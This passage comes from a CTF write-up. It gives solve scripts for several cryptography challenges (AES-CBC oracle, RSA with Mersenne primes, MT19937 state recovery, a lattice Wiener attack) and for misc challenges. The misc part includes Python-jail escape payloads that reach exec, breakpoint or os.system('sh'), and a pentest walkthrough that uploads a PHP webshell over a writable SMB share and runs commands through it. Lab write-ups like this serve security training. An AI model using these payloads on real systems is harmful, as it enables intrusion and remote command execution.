# Generate a random Initialization Vector (IV)
iv = os.urandom(16)
# Pad the message to be a multiple of the block size (16 bytes for AES)
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_msg = padder.update(msg) + padder.finalize()
# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# Encrypt the padded message
ciphertext = encryptor.update(padded_msg) + encryptor.finalize()
# Return IV concatenated with ciphertext
return iv + ciphertext
def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes:
"""
Decrypts a message encrypted using AES in CBC mode.
Parameters:
encrypted_msg (bytes): The encrypted message (IV + ciphertext).
key (bytes): The decryption key (must be 16, 24, or 32 bytes long).
Returns:
bytes: The original plaintext message.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")
# Extract the IV (first 16 bytes) and ciphertext (remaining bytes)
iv = encrypted_msg[:16]
ciphertext = encrypted_msg[16:]
# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
# Decrypt the ciphertext
padded_msg = decryptor.update(ciphertext) + decryptor.finalize()
# Remove padding from the decrypted message
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
msg = unpadder.update(padded_msg) + unpadder.finalize()
return msg
def main():
with open("/home/kon/image-small.jpeg", "rb") as f:
image = f.read()
key = os.urandom(16)
encrypted_image = aes_cbc_encrypt(image, key)
k0n = int(input("What do you want to know? "))
print(f'{key = }')
print(f'{encrypted_image[k0n:k0n+32] = }')
if __name__ == "__main__":
main()
In this challenge, you are given an oracle that encrypts a flag image using AES-CBC, and you can choose any two blocks to return along with the key. So, just use the previous block as the iv and the next block as the ciphertext to decrypt one block of plaintext.
Write a script to recover the jpeg:
from pwn import *
import ast
from Crypto.Cipher import AES
context.log_level = "error"
def oracle(i):
io = remote("172.31.2.2", 36363)
io.sendline(str(i).encode())
io.recvuntil(b"key = ")
key = ast.literal_eval(io.recvlineS())
io.recvuntil(b"encrypted_image[k0n:k0n+32] = ")
enc = ast.literal_eval(io.recvlineS())
io.close()
return key, enc
def get_pt_block(i):
key, enc = oracle(i * 16)
if not enc:
return None
aes = AES.new(key, AES.MODE_CBC, enc[:16])
return aes.decrypt(enc[16:])
with open("pt.jpg", "wb") as f:
i = 0
while True:
print(i)
pt_block = get_pt_block(i)
if not pt_block:
break
f.write(pt_block)
i += 1
Flag: TSC{f0x_Say_Gering-dingKon-kon-kon}
Random Strange Algorithm
import secrets
import os
from Crypto.Util.number import bytes_to_long, isPrime
def genPrime():
while True:
x = secrets.randbelow(1000000)
if isPrime(2**x - 1):
return x
p = genPrime()
q = genPrime()
M = (1 << p + q) - 1
flag = os.getenv("FLAG") or "FLAG{test_flag}"
flag = bytes_to_long(flag.encode())
e = 65537
def weird(x, e, p, q, M):
res = 1
strange = lambda x, y: x + (y << p) + (y << q) - y
for b in reversed(bin(e)[2:]):
if b == "1":
res = res * x
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
x = x * x
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
return res
ct = weird(flag, e, p, q, M)
print(f"Cipher: {hex(ct)}")
The weird algorithm seems to be doing something strange with RSA, but are both Mersenne primes, and I guessed the flag isn’t long, so I directly enumerated all Mersenne primes within the range.
import itertools, gmpy2
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
ct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e
exps = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433]
ps = [gmpy2.mpz(2)**e-1 for e in exps]
e = 65537
for p in tqdm(ps):
try:
d = gmpy2.invert(e, p-1)
except ZeroDivisionError:
continue
m = gmpy2.powmod(ct, d, p)
flag = long_to_bytes(m)
if flag.startswith(b"TSC{"):
print(flag)
break
# TSC{9y7hOn_p0vv3r_ls_700_5Io0o0o0o0o0o0o0o0o0o0w}
Random Shuffle
import random
import os
flag = os.getenv("FLAG") or "FLAG{test_flag}"
def main():
random.seed(os.urandom(32))
Hint = b"".join(
[
(random.getrandbits(32) & 0x44417A9F).to_bytes(4, byteorder="big")
for i in range(2000)
]
)
Secret = random.randbytes(len(flag))
print(Secret.hex(), file=__import__("sys").stderr)
Encrypted = [(ord(x) ^ y) for x, y in zip(flag, Secret)]
random.shuffle(Encrypted)
print(f"Hint: {Hint.hex()}")
print(f"Encrypted flag: {bytes(Encrypted).hex()}")
if __name__ == "__main__":
main()
A straightforward MT19937 prediction challenge. I used my own gf2bv library to solve it instantly:
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
with open("flag") as f:
hint = bytes.fromhex(f.readline().split(": ")[1])
enc = bytes.fromhex(f.readline().split(": ")[1])
chunks = [int.from_bytes(hint[i : i + 4], "big") for i in range(0, len(hint), 4)]
lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)
zeros = []
for x in chunks:
zeros.append((rng.getrandbits(32) & 0x44417A9F) ^ x)
sol = lin.solve_one(zeros)
rand = MT19937(sol).to_python_random()
for x in chunks:
assert rand.getrandbits(32) & 0x44417A9F == x
secret = rand.randbytes(len(enc))
shuffle = list(range(len(enc)))
rand.shuffle(shuffle)
enc_unshuffle = [0] * len(enc)
for i, j in enumerate(shuffle):
enc_unshuffle[j] = enc[i]
flag = bytes([x ^ y for x, y in zip(enc_unshuffle, secret)])
print(flag)
# TSC{H0w_c4n_y0u_8r54k_my_5huff15}
Random Strangeeeeee Algorithm
import os
import random
import sys
from Crypto.Util.number import getRandomNBitInteger, bytes_to_long
from gmpy2 import is_prime
from secret import FLAG
def get_prime(nbits: int):
if nbits < 2:
raise ValueError("'nbits' must be larger than 1.")
while True:
num = getRandomNBitInteger(nbits) | 1
if is_prime(num):
return num
def pad(msg: bytes, nbytes: int):
if nbytes < (len(msg) + 1):
raise ValueError("'nbytes' must be larger than 'len(msg) + 1'.")
return msg + b'\0' + os.urandom(nbytes - len(msg) - 1)
def main():
for cnt in range(4096):
nbits_0 = 1000 + random.randint(1, 256)
nbits_1 = 612 + random.randint(1, 256)
p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0)
n = p * q * r
d = get_prime(nbits_1)
e = pow(d, -1, (p - 1) * (q - 1) * (r - 1))
m = bytes_to_long(pad(FLAG, (n.bit_length() - 1) // 8))
c = pow(m, e, n)
print(f'{n, e = }')
print(f'{c = }')
msg = input('Do you want to refresh [Y/N] > ')
if msg != 'Y':
break
if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()
Obviously, this challenge is similar to a Wiener attack, except involves three primes.
My method is based on the LLL version of the Wiener attack (Cryptanalysis of RSA and Its Variants 5.1.2.1):
Since , , and the three high-order terms of are pairwise products, .
Construct the following lattice:
With as the short vector, you can obtain .
from sage.all import *
from pwn import process, remote
import ast
from Crypto.Util.number import long_to_bytes
# io = process(["python", "server.py"])
io = remote("172.31.2.2", 36901)
for i in range(4096):
print("try", i)
io.recvuntil(b"n, e = ")
n, e = ast.literal_eval(io.recvlineS().strip())
io.recvuntil(b"c = ")
c = int(io.recvline().strip())
K = ZZ(n).nth_root(3, truncate_mode=True)[0] ** 2 * 3
_, dK = matrix([[e, K], [n, 0]]).LLL()[0]
d = abs(dK) // K
print(d.bit_length())
m = pow(c, d, n)
flag = long_to_bytes(m)
if flag.startswith(b"TSC{"):
print(flag)
break
io.sendline(b"Y")
# TSC{R3c4lcU1at3_W1eNe(_At7@Ck_!!!}
Due to the randomness of nbits_0
and nbits_1
, some luck is needed.
However, there should also be a Coppersmith version of the solution for a better bound.
Misc
BabyJail
pyjail @ Python 3.12.7
#!/usr/local/bin/python3
print(eval(input('> '), {"__builtins__": {}}, {}))
Since I solved the revenge challenge first and then came back to this one, I only made a small modification to my frame-based solution:
(lambda:[a:=(lambda:(yield a.gi_frame.f_back.f_back.f_back.f_builtins)),a:=a(),b:=a.send(None),b['exec']('breakpoint()',{'__builtins__':b})])()
# TSC{just_a_classic_nobuiltins_pyjail_for_baby}
calc
#!/usr/local/bin/python3
inp = input('> ')
if sum(1 for char in inp if char in set(__import__('string').ascii_letters)):
raise NameError("just calc no evil(ascii).")
if '[' in inp or ']' in inp:
raise NameError("just calc no evil([]).")
print(eval(inp, {"__builtins__": {}}, {}))
Using NFKC normalization can bypass the restriction on ascii letters, and constructing a standard os.system('sh')
can get a shell, with the string using octal escape.
(*().__class__.__base__.__subclasses__().__getitem__(155).close.__globals__.values(),1).__getitem__(46)('\163\150')
# TSC{PEP-3131_is_a_friendly_PEP_for_pyjai1er_nhsdcuhq6}
A_BIG_BUG
PT challenge, directly tells you there is an http & smb service. Using dirsearch on the http part found /uploads
, but it only contained a README.md
which was useless.
For the smb part, I found guest login with netexec, and uploads
share had RW permissions:
> netexec smb 172.31.0.2 --port 30185 -u ctfuser -p '' --shares
SMB 172.31.0.2 30185 7887ADAF97CB [*] Unix - Samba (name:7887ADAF97CB) (domain:7887ADAF97CB) (signing:False) (SMBv1:False)
SMB 172.31.0.2 30185 7887ADAF97CB [+] 7887ADAF97CB\ctfuser: (Guest)
SMB 172.31.0.2 30185 7887ADAF97CB [*] Enumerated shares
SMB 172.31.0.2 30185 7887ADAF97CB Share Permissions Remark
SMB 172.31.0.2 30185 7887ADAF97CB ----- ----------- ------
SMB 172.31.0.2 30185 7887ADAF97CB uploads READ,WRITE
SMB 172.31.0.2 30185 7887ADAF97CB IPC$ IPC Service (Samba 4.15.13-Ubuntu)
So, upload a webshell via smb:
> smbclient //172.31.0.2/uploads --port 30189 --no-pass --user ctfuser
put shell.php
<?php
system($_GET['cmd']);
Finally, get the flag in /tmp/flag.txt
.
http://172.31.0.2:30188/uploads/shell.php?cmd=cat%20/tmp/flag.txt
Flag: TSC{YOU_got_What_is_pt_and_low_security_password_f1bc61bf51b44ac5a0365169dee186ca}
BabyJail - Revenge
#!/usr/local/bin/python3
inp = __import__("unicodedata").normalize("NFKC", input("> "))
if "__" in inp:
raise NameError("no dunder")
if ',' in inp:
raise NameError("no ,")
if sum(1 for c in inp if c == '(') > 2:
raise NameError("no (")
print(eval(inp, {"__builtins__": {}}, None))
Cannot use __
, so use frame to bypass, and use [a:=...]+[b:=...]+...
to construct instead of ,
. The first (
is used in the generator comprehension, and the second in the exec function call.
[a:=(a.gi_frame for _ in [1])]+[b:=[*a][0].f_back.f_back.f_builtins]+[b["exec"]("b['exec']\x28'breakpoint\x28\x29'\x2c{'_""_builtins_""_':b}\x29")]
# TSC{frame_switching_to_the_moooo0o0n!_tuygv2jnsvnjs}